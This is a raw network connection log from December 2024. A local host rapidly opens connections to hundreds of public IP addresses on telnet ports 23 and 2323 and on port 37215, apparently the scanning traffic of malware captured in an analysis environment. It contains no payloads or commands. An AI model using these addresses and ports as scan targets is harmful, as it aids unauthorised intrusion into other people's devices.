Dec 4, 2024 20:34:32.090220928 CET	60787	2323	192.168.2.14	171.247.68.146
Dec 4, 2024 20:34:32.090224981 CET	35360	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.090233088 CET	60787	23	192.168.2.14	136.175.237.128
Dec 4, 2024 20:34:32.090255022 CET	60787	23	192.168.2.14	97.163.33.28
Dec 4, 2024 20:34:32.090270042 CET	23	60787	68.61.115.37	192.168.2.14
Dec 4, 2024 20:34:32.090279102 CET	23	60787	24.25.158.85	192.168.2.14
Dec 4, 2024 20:34:32.090285063 CET	23	60787	168.33.54.26	192.168.2.14
Dec 4, 2024 20:34:32.090312958 CET	60787	23	192.168.2.14	168.33.54.26
Dec 4, 2024 20:34:32.090315104 CET	60787	23	192.168.2.14	24.25.158.85
Dec 4, 2024 20:34:32.090315104 CET	60787	23	192.168.2.14	68.61.115.37
Dec 4, 2024 20:34:32.090347052 CET	23	60787	92.108.222.109	192.168.2.14
Dec 4, 2024 20:34:32.090357065 CET	23	60787	87.205.201.141	192.168.2.14
Dec 4, 2024 20:34:32.090365887 CET	23	60787	97.181.27.151	192.168.2.14
Dec 4, 2024 20:34:32.090382099 CET	23	60787	45.171.210.194	192.168.2.14
Dec 4, 2024 20:34:32.090388060 CET	60787	23	192.168.2.14	87.205.201.141
Dec 4, 2024 20:34:32.090388060 CET	60787	23	192.168.2.14	97.181.27.151
Dec 4, 2024 20:34:32.090389013 CET	60787	23	192.168.2.14	92.108.222.109
Dec 4, 2024 20:34:32.090404987 CET	23	60787	93.159.155.25	192.168.2.14
Dec 4, 2024 20:34:32.090416908 CET	60787	23	192.168.2.14	45.171.210.194
Dec 4, 2024 20:34:32.090426922 CET	23	49446	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.090442896 CET	60787	23	192.168.2.14	93.159.155.25
Dec 4, 2024 20:34:32.090487003 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.090491056 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.090521097 CET	23	60787	86.52.27.79	192.168.2.14
Dec 4, 2024 20:34:32.090532064 CET	35826	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.090532064 CET	23	60787	213.71.175.23	192.168.2.14
Dec 4, 2024 20:34:32.090542078 CET	23	60787	197.139.177.100	192.168.2.14
Dec 4, 2024 20:34:32.090555906 CET	23	51966	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.090567112 CET	60787	23	192.168.2.14	213.71.175.23
Dec 4, 2024 20:34:32.090568066 CET	60787	23	192.168.2.14	86.52.27.79
Dec 4, 2024 20:34:32.090581894 CET	60787	23	192.168.2.14	197.139.177.100
Dec 4, 2024 20:34:32.090929985 CET	49446	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.090990067 CET	23	46786	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.091108084 CET	23	56854	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.091156006 CET	23	37874	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.091166019 CET	23	43058	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:32.091202974 CET	43058	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:32.091248035 CET	49908	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.091649055 CET	45758	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.091941118 CET	46220	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.092298985 CET	51966	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.092582941 CET	52424	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.092959881 CET	46786	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.093257904 CET	47262	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.093626022 CET	56854	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.093920946 CET	57326	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.094317913 CET	37874	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.094611883 CET	38340	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.110657930 CET	23	35282	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.110702038 CET	35282	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.122946024 CET	60275	37215	192.168.2.14	41.56.225.185
Dec 4, 2024 20:34:32.122946024 CET	60275	37215	192.168.2.14	156.34.188.107
Dec 4, 2024 20:34:32.122946024 CET	60275	37215	192.168.2.14	197.64.9.99
Dec 4, 2024 20:34:32.122952938 CET	60275	37215	192.168.2.14	156.87.144.59
Dec 4, 2024 20:34:32.122955084 CET	60275	37215	192.168.2.14	197.244.113.133
Dec 4, 2024 20:34:32.122956038 CET	60275	37215	192.168.2.14	156.111.153.201
Dec 4, 2024 20:34:32.122956038 CET	60275	37215	192.168.2.14	156.41.130.113
Dec 4, 2024 20:34:32.122965097 CET	60275	37215	192.168.2.14	156.216.136.105
Dec 4, 2024 20:34:32.122965097 CET	60275	37215	192.168.2.14	41.190.111.239
Dec 4, 2024 20:34:32.122972012 CET	60275	37215	192.168.2.14	156.12.209.79
Dec 4, 2024 20:34:32.122972012 CET	60275	37215	192.168.2.14	156.79.204.126
Dec 4, 2024 20:34:32.122972012 CET	60275	37215	192.168.2.14	156.201.234.157
Dec 4, 2024 20:34:32.122972012 CET	60275	37215	192.168.2.14	41.43.250.20
Dec 4, 2024 20:34:32.122977018 CET	60275	37215	192.168.2.14	197.210.8.191
Dec 4, 2024 20:34:32.122977018 CET	60275	37215	192.168.2.14	156.219.138.71
Dec 4, 2024 20:34:32.122981071 CET	60275	37215	192.168.2.14	41.212.235.18
Dec 4, 2024 20:34:32.122982025 CET	60275	37215	192.168.2.14	41.159.209.208
Dec 4, 2024 20:34:32.122983932 CET	60275	37215	192.168.2.14	41.207.209.151
Dec 4, 2024 20:34:32.122984886 CET	60275	37215	192.168.2.14	41.60.27.144
Dec 4, 2024 20:34:32.122987986 CET	60275	37215	192.168.2.14	156.131.27.31
Dec 4, 2024 20:34:32.122993946 CET	60275	37215	192.168.2.14	41.211.13.164
Dec 4, 2024 20:34:32.122998953 CET	60275	37215	192.168.2.14	156.60.248.120
Dec 4, 2024 20:34:32.123017073 CET	60275	37215	192.168.2.14	156.232.107.226
Dec 4, 2024 20:34:32.123017073 CET	60275	37215	192.168.2.14	197.86.180.113
Dec 4, 2024 20:34:32.123018980 CET	60275	37215	192.168.2.14	156.112.209.31
Dec 4, 2024 20:34:32.123023033 CET	60275	37215	192.168.2.14	197.234.34.82
Dec 4, 2024 20:34:32.123023033 CET	60275	37215	192.168.2.14	156.228.50.131
Dec 4, 2024 20:34:32.123023033 CET	60275	37215	192.168.2.14	156.51.137.230
Dec 4, 2024 20:34:32.123023987 CET	60275	37215	192.168.2.14	197.111.162.112
Dec 4, 2024 20:34:32.123023987 CET	60275	37215	192.168.2.14	156.100.212.51
Dec 4, 2024 20:34:32.123027086 CET	60275	37215	192.168.2.14	197.97.210.134
Dec 4, 2024 20:34:32.123027086 CET	60275	37215	192.168.2.14	156.68.41.51
Dec 4, 2024 20:34:32.123030901 CET	60275	37215	192.168.2.14	197.55.164.33
Dec 4, 2024 20:34:32.123032093 CET	60275	37215	192.168.2.14	41.44.239.234
Dec 4, 2024 20:34:32.123050928 CET	60275	37215	192.168.2.14	41.16.39.9
Dec 4, 2024 20:34:32.123051882 CET	60275	37215	192.168.2.14	156.241.118.41
Dec 4, 2024 20:34:32.123050928 CET	60275	37215	192.168.2.14	41.165.99.113
Dec 4, 2024 20:34:32.123051882 CET	60275	37215	192.168.2.14	197.191.234.3
Dec 4, 2024 20:34:32.123061895 CET	60275	37215	192.168.2.14	156.50.117.21
Dec 4, 2024 20:34:32.123063087 CET	60275	37215	192.168.2.14	156.138.0.226
Dec 4, 2024 20:34:32.123061895 CET	60275	37215	192.168.2.14	41.243.59.236
Dec 4, 2024 20:34:32.123061895 CET	60275	37215	192.168.2.14	41.166.149.83
Dec 4, 2024 20:34:32.123061895 CET	60275	37215	192.168.2.14	197.106.36.135
Dec 4, 2024 20:34:32.123064995 CET	60275	37215	192.168.2.14	197.29.139.205
Dec 4, 2024 20:34:32.123065948 CET	60275	37215	192.168.2.14	197.40.11.85
Dec 4, 2024 20:34:32.123065948 CET	60275	37215	192.168.2.14	197.146.35.156
Dec 4, 2024 20:34:32.123065948 CET	60275	37215	192.168.2.14	156.95.79.118
Dec 4, 2024 20:34:32.123070002 CET	60275	37215	192.168.2.14	197.90.58.1
Dec 4, 2024 20:34:32.123070955 CET	60275	37215	192.168.2.14	197.3.2.204
Dec 4, 2024 20:34:32.123075962 CET	60275	37215	192.168.2.14	156.137.23.103
Dec 4, 2024 20:34:32.123075962 CET	60275	37215	192.168.2.14	197.82.116.25
Dec 4, 2024 20:34:32.123078108 CET	60275	37215	192.168.2.14	41.230.26.0
Dec 4, 2024 20:34:32.123092890 CET	60275	37215	192.168.2.14	156.19.209.123
Dec 4, 2024 20:34:32.123099089 CET	60275	37215	192.168.2.14	41.86.107.58
Dec 4, 2024 20:34:32.123100996 CET	60275	37215	192.168.2.14	156.134.189.228
Dec 4, 2024 20:34:32.123100996 CET	60275	37215	192.168.2.14	197.45.236.65
Dec 4, 2024 20:34:32.123102903 CET	60275	37215	192.168.2.14	41.16.31.76
Dec 4, 2024 20:34:32.123105049 CET	60275	37215	192.168.2.14	197.158.90.219
Dec 4, 2024 20:34:32.123106956 CET	60275	37215	192.168.2.14	41.236.148.47
Dec 4, 2024 20:34:32.123107910 CET	60275	37215	192.168.2.14	156.190.80.58
Dec 4, 2024 20:34:32.123116016 CET	60275	37215	192.168.2.14	41.187.66.43
Dec 4, 2024 20:34:32.123123884 CET	60275	37215	192.168.2.14	156.252.99.81
Dec 4, 2024 20:34:32.123127937 CET	60275	37215	192.168.2.14	197.139.197.109
Dec 4, 2024 20:34:32.123127937 CET	60275	37215	192.168.2.14	156.149.1.9
Dec 4, 2024 20:34:32.123132944 CET	60275	37215	192.168.2.14	197.41.6.6
Dec 4, 2024 20:34:32.123132944 CET	60275	37215	192.168.2.14	156.113.226.153
Dec 4, 2024 20:34:32.123136997 CET	60275	37215	192.168.2.14	41.174.158.129
Dec 4, 2024 20:34:32.123157024 CET	60275	37215	192.168.2.14	197.175.165.214
Dec 4, 2024 20:34:32.123157978 CET	60275	37215	192.168.2.14	197.151.111.113
Dec 4, 2024 20:34:32.123157024 CET	60275	37215	192.168.2.14	156.220.141.187
Dec 4, 2024 20:34:32.123157978 CET	60275	37215	192.168.2.14	156.57.205.77
Dec 4, 2024 20:34:32.123162985 CET	60275	37215	192.168.2.14	156.121.108.157
Dec 4, 2024 20:34:32.123163939 CET	60275	37215	192.168.2.14	156.71.136.89
Dec 4, 2024 20:34:32.123163939 CET	60275	37215	192.168.2.14	156.96.164.104
Dec 4, 2024 20:34:32.123167038 CET	60275	37215	192.168.2.14	41.139.124.170
Dec 4, 2024 20:34:32.123169899 CET	60275	37215	192.168.2.14	197.210.211.155
Dec 4, 2024 20:34:32.123174906 CET	60275	37215	192.168.2.14	41.105.55.204
Dec 4, 2024 20:34:32.123174906 CET	60275	37215	192.168.2.14	156.8.203.197
Dec 4, 2024 20:34:32.123184919 CET	60275	37215	192.168.2.14	156.51.4.195
Dec 4, 2024 20:34:32.123192072 CET	60275	37215	192.168.2.14	197.166.253.235
Dec 4, 2024 20:34:32.123194933 CET	60275	37215	192.168.2.14	197.240.197.223
Dec 4, 2024 20:34:32.123197079 CET	60275	37215	192.168.2.14	156.48.249.215
Dec 4, 2024 20:34:32.123198032 CET	60275	37215	192.168.2.14	41.176.20.238
Dec 4, 2024 20:34:32.123203039 CET	60275	37215	192.168.2.14	156.60.129.111
Dec 4, 2024 20:34:32.123203993 CET	60275	37215	192.168.2.14	197.224.218.184
Dec 4, 2024 20:34:32.123207092 CET	60275	37215	192.168.2.14	156.157.186.212
Dec 4, 2024 20:34:32.123212099 CET	60275	37215	192.168.2.14	156.253.129.98
Dec 4, 2024 20:34:32.123220921 CET	60275	37215	192.168.2.14	197.25.127.2
Dec 4, 2024 20:34:32.123222113 CET	60275	37215	192.168.2.14	197.164.101.129
Dec 4, 2024 20:34:32.123222113 CET	60275	37215	192.168.2.14	156.193.234.80
Dec 4, 2024 20:34:32.123222113 CET	60275	37215	192.168.2.14	197.245.145.57
Dec 4, 2024 20:34:32.123226881 CET	60275	37215	192.168.2.14	156.174.9.41
Dec 4, 2024 20:34:32.123228073 CET	60275	37215	192.168.2.14	197.56.111.51
Dec 4, 2024 20:34:32.123234987 CET	60275	37215	192.168.2.14	156.39.21.201
Dec 4, 2024 20:34:32.123239994 CET	60275	37215	192.168.2.14	156.137.157.152
Dec 4, 2024 20:34:32.123244047 CET	60275	37215	192.168.2.14	156.15.118.21
Dec 4, 2024 20:34:32.123244047 CET	60275	37215	192.168.2.14	41.240.27.12
Dec 4, 2024 20:34:32.123245955 CET	60275	37215	192.168.2.14	41.22.51.154
Dec 4, 2024 20:34:32.123249054 CET	60275	37215	192.168.2.14	156.63.90.59
Dec 4, 2024 20:34:32.123249054 CET	60275	37215	192.168.2.14	197.153.29.251
Dec 4, 2024 20:34:32.123249054 CET	60275	37215	192.168.2.14	197.104.249.32
Dec 4, 2024 20:34:32.123253107 CET	60275	37215	192.168.2.14	156.127.73.34
Dec 4, 2024 20:34:32.123255968 CET	60275	37215	192.168.2.14	41.250.191.199
Dec 4, 2024 20:34:32.123261929 CET	60275	37215	192.168.2.14	41.102.55.89
Dec 4, 2024 20:34:32.123262882 CET	60275	37215	192.168.2.14	156.166.75.128
Dec 4, 2024 20:34:32.123285055 CET	60275	37215	192.168.2.14	197.118.14.135
Dec 4, 2024 20:34:32.123285055 CET	60275	37215	192.168.2.14	197.87.251.36
Dec 4, 2024 20:34:32.123286963 CET	60275	37215	192.168.2.14	156.240.231.185
Dec 4, 2024 20:34:32.123286963 CET	60275	37215	192.168.2.14	41.62.232.81
Dec 4, 2024 20:34:32.123291969 CET	60275	37215	192.168.2.14	41.231.73.138
Dec 4, 2024 20:34:32.123291969 CET	60275	37215	192.168.2.14	41.195.199.228
Dec 4, 2024 20:34:32.123294115 CET	60275	37215	192.168.2.14	197.95.107.34
Dec 4, 2024 20:34:32.123294115 CET	60275	37215	192.168.2.14	156.94.201.82
Dec 4, 2024 20:34:32.123296022 CET	60275	37215	192.168.2.14	41.137.82.229
Dec 4, 2024 20:34:32.123296022 CET	60275	37215	192.168.2.14	41.43.251.46
Dec 4, 2024 20:34:32.123305082 CET	60275	37215	192.168.2.14	156.139.237.58
Dec 4, 2024 20:34:32.123321056 CET	60275	37215	192.168.2.14	41.37.156.98
Dec 4, 2024 20:34:32.123325109 CET	60275	37215	192.168.2.14	156.199.11.178
Dec 4, 2024 20:34:32.123325109 CET	60275	37215	192.168.2.14	156.56.101.1
Dec 4, 2024 20:34:32.123326063 CET	60275	37215	192.168.2.14	197.78.161.162
Dec 4, 2024 20:34:32.123327017 CET	60275	37215	192.168.2.14	197.171.179.221
Dec 4, 2024 20:34:32.123339891 CET	60275	37215	192.168.2.14	156.136.129.63
Dec 4, 2024 20:34:32.123347998 CET	60275	37215	192.168.2.14	156.142.180.18
Dec 4, 2024 20:34:32.123347998 CET	60275	37215	192.168.2.14	197.180.196.87
Dec 4, 2024 20:34:32.123348951 CET	60275	37215	192.168.2.14	197.152.94.29
Dec 4, 2024 20:34:32.123348951 CET	60275	37215	192.168.2.14	41.252.225.251
Dec 4, 2024 20:34:32.123352051 CET	60275	37215	192.168.2.14	156.220.254.118
Dec 4, 2024 20:34:32.123353004 CET	60275	37215	192.168.2.14	41.25.45.200
Dec 4, 2024 20:34:32.123358965 CET	60275	37215	192.168.2.14	197.217.99.196
Dec 4, 2024 20:34:32.123369932 CET	60275	37215	192.168.2.14	156.39.228.231
Dec 4, 2024 20:34:32.123369932 CET	60275	37215	192.168.2.14	41.37.72.180
Dec 4, 2024 20:34:32.123373985 CET	60275	37215	192.168.2.14	156.15.18.225
Dec 4, 2024 20:34:32.123373985 CET	60275	37215	192.168.2.14	197.132.85.174
Dec 4, 2024 20:34:32.123378992 CET	60275	37215	192.168.2.14	197.218.19.38
Dec 4, 2024 20:34:32.123382092 CET	60275	37215	192.168.2.14	41.209.14.186
Dec 4, 2024 20:34:32.123384953 CET	60275	37215	192.168.2.14	41.39.207.137
Dec 4, 2024 20:34:32.123384953 CET	60275	37215	192.168.2.14	156.239.124.246
Dec 4, 2024 20:34:32.123384953 CET	60275	37215	192.168.2.14	156.160.26.226
Dec 4, 2024 20:34:32.123384953 CET	60275	37215	192.168.2.14	156.40.109.207
Dec 4, 2024 20:34:32.123384953 CET	60275	37215	192.168.2.14	197.59.212.27
Dec 4, 2024 20:34:32.123393059 CET	60275	37215	192.168.2.14	41.67.70.129
Dec 4, 2024 20:34:32.123394966 CET	60275	37215	192.168.2.14	41.208.136.199
Dec 4, 2024 20:34:32.123397112 CET	60275	37215	192.168.2.14	41.71.137.200
Dec 4, 2024 20:34:32.123404026 CET	60275	37215	192.168.2.14	41.117.182.202
Dec 4, 2024 20:34:32.123410940 CET	60275	37215	192.168.2.14	156.0.154.205
Dec 4, 2024 20:34:32.123414040 CET	60275	37215	192.168.2.14	197.37.255.11
Dec 4, 2024 20:34:32.123419046 CET	60275	37215	192.168.2.14	41.4.143.214
Dec 4, 2024 20:34:32.123430967 CET	60275	37215	192.168.2.14	197.147.105.228
Dec 4, 2024 20:34:32.123430967 CET	60275	37215	192.168.2.14	156.192.84.120
Dec 4, 2024 20:34:32.123431921 CET	60275	37215	192.168.2.14	197.180.197.138
Dec 4, 2024 20:34:32.123433113 CET	60275	37215	192.168.2.14	156.246.41.228
Dec 4, 2024 20:34:32.123431921 CET	60275	37215	192.168.2.14	41.123.91.204
Dec 4, 2024 20:34:32.123431921 CET	60275	37215	192.168.2.14	156.51.196.220
Dec 4, 2024 20:34:32.123436928 CET	60275	37215	192.168.2.14	41.112.105.236
Dec 4, 2024 20:34:32.123437881 CET	60275	37215	192.168.2.14	156.142.163.160
Dec 4, 2024 20:34:32.123440981 CET	60275	37215	192.168.2.14	41.111.108.108
Dec 4, 2024 20:34:32.123444080 CET	60275	37215	192.168.2.14	41.67.13.62
Dec 4, 2024 20:34:32.123445034 CET	60275	37215	192.168.2.14	156.121.37.135
Dec 4, 2024 20:34:32.123445988 CET	60275	37215	192.168.2.14	156.14.40.216
Dec 4, 2024 20:34:32.123446941 CET	60275	37215	192.168.2.14	41.251.110.120
Dec 4, 2024 20:34:32.123764992 CET	37798	37215	192.168.2.14	197.255.15.13
Dec 4, 2024 20:34:32.124330997 CET	55850	37215	192.168.2.14	197.196.253.237
Dec 4, 2024 20:34:32.124886990 CET	48394	37215	192.168.2.14	41.192.132.220
Dec 4, 2024 20:34:32.125435114 CET	59818	37215	192.168.2.14	41.94.156.53
Dec 4, 2024 20:34:32.125961065 CET	56720	37215	192.168.2.14	156.142.202.185
Dec 4, 2024 20:34:32.126509905 CET	54538	37215	192.168.2.14	197.219.190.108
Dec 4, 2024 20:34:32.144718885 CET	23	49524	74.195.113.28	192.168.2.14
Dec 4, 2024 20:34:32.144860983 CET	49524	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:32.207226992 CET	23	46178	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.207434893 CET	46178	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.207464933 CET	23	57490	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.207720041 CET	23	46272	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.207814932 CET	46596	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.207885027 CET	2323	43684	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.207998991 CET	23	41532	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.208225965 CET	43684	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.208265066 CET	23	34380	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.208373070 CET	23	38514	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.208436012 CET	2323	41640	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.208520889 CET	44100	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.208559990 CET	23	41682	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:32.208683014 CET	23	59912	112.154.109.33	192.168.2.14
Dec 4, 2024 20:34:32.208875895 CET	2323	59838	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.208897114 CET	46272	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.209192038 CET	23	40098	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:32.209218025 CET	46688	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.209593058 CET	57490	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.209908009 CET	57906	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.210314035 CET	41532	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.210490942 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.210490942 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:32.210491896 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.210493088 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.210496902 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:32.210498095 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:32.210498095 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.210603952 CET	23	59714	180.100.180.63	192.168.2.14
Dec 4, 2024 20:34:32.210617065 CET	41946	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.211014032 CET	34380	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.211308002 CET	34798	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.211321115 CET	23	60180	180.100.180.63	192.168.2.14
Dec 4, 2024 20:34:32.211365938 CET	60180	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:32.211687088 CET	41640	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.211975098 CET	42056	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.212045908 CET	23	44294	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.212157011 CET	23	44766	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.212191105 CET	44766	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.212219954 CET	2323	47842	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:32.212368965 CET	38514	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.212390900 CET	2323	41008	203.20.182.112	192.168.2.14
Dec 4, 2024 20:34:32.212591887 CET	23	42170	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:32.212610960 CET	23	35360	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.212717056 CET	38930	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.212898970 CET	23	42090	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:32.212929010 CET	23	35826	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.212960958 CET	35826	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.213104963 CET	59838	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.213243961 CET	23	49446	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.213455915 CET	60254	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.213691950 CET	23	49908	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.213728905 CET	2323	43288	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:32.213732958 CET	49908	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.213835001 CET	23	45758	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.213926077 CET	40098	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:32.214004040 CET	23	46220	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.214046955 CET	46220	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.214102983 CET	23	55474	199.72.243.77	192.168.2.14
Dec 4, 2024 20:34:32.214252949 CET	23	51966	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.214291096 CET	40514	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:32.214306116 CET	23	37570	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:32.214427948 CET	23	52424	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.214438915 CET	23	57020	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:32.214478016 CET	52424	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.214488983 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:32.214488983 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:32.214488983 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:32.214493990 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:32.214494944 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:32.214494944 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:32.214498043 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:32.214500904 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:32.214674950 CET	23	43058	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:32.214730978 CET	23	46786	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.214840889 CET	59912	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:32.215008974 CET	23	47262	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.215049982 CET	47262	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.215200901 CET	60328	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:32.215244055 CET	23	56854	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.215549946 CET	23	57326	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.215588093 CET	57326	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.215611935 CET	41682	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:32.215914965 CET	23	37874	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.215935946 CET	42098	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:32.216202021 CET	23	38340	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.216237068 CET	38340	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.216334105 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:32.216640949 CET	41424	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:32.217031956 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:32.217323065 CET	55890	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:32.217689037 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:32.217973948 CET	37986	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:32.218346119 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:32.218628883 CET	48258	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:32.219008923 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:32.219290018 CET	42504	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:32.219660997 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:32.219942093 CET	42584	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:32.220304966 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:32.220581055 CET	57434	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:32.220937967 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:32.221230984 CET	43702	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:32.221594095 CET	43058	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:32.221880913 CET	43362	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:32.232202053 CET	23	35282	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.232255936 CET	35282	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.232552052 CET	35366	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.243499041 CET	37215	60275	156.87.144.59	192.168.2.14
Dec 4, 2024 20:34:32.243508101 CET	37215	60275	41.56.225.185	192.168.2.14
Dec 4, 2024 20:34:32.243516922 CET	37215	60275	197.244.113.133	192.168.2.14
Dec 4, 2024 20:34:32.243531942 CET	37215	60275	156.34.188.107	192.168.2.14
Dec 4, 2024 20:34:32.243550062 CET	37215	60275	197.64.9.99	192.168.2.14
Dec 4, 2024 20:34:32.243551016 CET	60275	37215	192.168.2.14	156.87.144.59
Dec 4, 2024 20:34:32.243554115 CET	60275	37215	192.168.2.14	41.56.225.185
Dec 4, 2024 20:34:32.243558884 CET	60275	37215	192.168.2.14	197.244.113.133
Dec 4, 2024 20:34:32.243558884 CET	37215	60275	156.111.153.201	192.168.2.14
Dec 4, 2024 20:34:32.243571043 CET	60275	37215	192.168.2.14	156.34.188.107
